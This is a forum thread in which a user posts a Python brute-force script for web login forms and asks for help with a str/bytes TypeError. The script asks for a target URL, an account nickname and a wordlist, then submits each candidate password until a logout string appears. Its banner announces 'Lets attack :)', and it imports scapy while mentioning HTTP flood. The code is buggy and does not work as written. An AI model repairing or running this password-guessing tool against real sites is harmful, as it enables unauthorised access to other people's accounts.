Python Forum
TypeError: can't contact str to bytes
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
TypeError: can't contact str to bytes
#1
Hello dear friends!
I writing bruteforce script for fun.
And then I press enter (if I choosing wordlist) for choose darkstain-wl.txt I get error: TypeError: can't contact str to bytes
Here is my code:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import socks
import threading
import random
import re
import urllib.request
import os
import sys
import fileinput
import requests
from flask import Flask
import urllib,urllib3, http.cookiejar
 
from bs4 import BeautifulSoup as BS
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
 
if sys.platform.startswith("linux") or sys.platform.startswith("freebsd") :
    from scapy.all import *
else:
    print ("Use HTTP flood.")
 
print('''
 
_____                           _        _    _ _ _
|  _  |                         | |      | |  (_) | |
| | | |_ __     _ __   ___ _ __ | |_ __ _| | ___| | |
| | | | '_ \ | '_ \ / _ \ '_ \| __/ _` | |/ / | | |
\ \_/ / |_) |  | |_) |  __/ | | | || (_| |   <| | | |
\___/| .__/   | .__/ \___|_| |_|\__\__,_|_|\_\_|_|_|
    | |______| |                                  
    |_|______|_|      [DarkStain - BruteForce]                              
                    [SUCCESSFULLY STARTED]
                              [Lets attack :)]                                              
          [Coded By : MartyXO]
  ''')
 
class Darkstainbrute():
        def starturl(self):
                global url
                global url2
                global urlport
 
                url = input("\nType the URL of login form to bruteforce> ").strip()
 
                if (url[:4] != "http") or not url:
                    print("Input full URL format with http(s)://")
                    self.starturl()
                else:
                    try:
                        url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
                    except:
                        url2 = url.replace("http://", "").replace("https://", "").split("/")[0]
 
                    try:
                        urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1]
                    except:
                        urlport = "80"
 
                self.nickname()
 
        def nickname(self):
                global nick
                nick= input("\nType the login nickname of account to get password> ").strip()
 
                if not nick: #tady design uprava ;)
                    print("Please enter the nickname.")
                    self.nickname()
                self.submit() #else neni potreba ;)
       
        def submit(self):
                global submit
                submit= str(input("What's name have your submit button?> "))
                if not submit:
                        print("Please enter name of submit element.")
                        self.submit()
                self.wordlist()
                       
        def wordlist(self):
                global wordlist
                wordlist= str(input("Enter (darkstain-wl.txt)> "))
                if not wordlist:
                        wordlist = "darkstain-wl.txt"
                self.controller()
               
        def connect(self,url,m):
                req = urllib.request.Request(url, data=m)
                resp = urllib.request.urlopen(req)
                if 'Odhlásit' in resp.read():
                        print ("The password is" + " " + m['passw'])
                        sys.exit()
                else:
                        print ("Unsuccessful Password attack atempt %s" %m['passw'])
                        self.controller()
 
 
        def controller(self):
             m = {}
             for line in fileinput.input([wordlist]):
                        m["uid"] = nick
                        m["passw"] = str(line)
                        m["submit"] = submit
                        print (m)
                        self.connect(url,m)
           
 
def main():
        darkstainbrute = Darkstainbrute()
        darkstainbrute.starturl()
 
if __name__ == "__main__":
        main()
Can someone help me with that, please?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  How to send notifications to gmail from contact form using Django and pushbullet Justchse 0 1,842 Sep-01-2020, 01:19 PM
Last Post: Justchse
  Contact form button click action Man_from_India 1 2,752 Feb-01-2020, 06:21 PM
Last Post: snippsat
  Send email to gmail after user fill up contact form and getting django database updat Man_from_India 0 2,071 Jan-22-2020, 03:59 PM
Last Post: Man_from_India

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020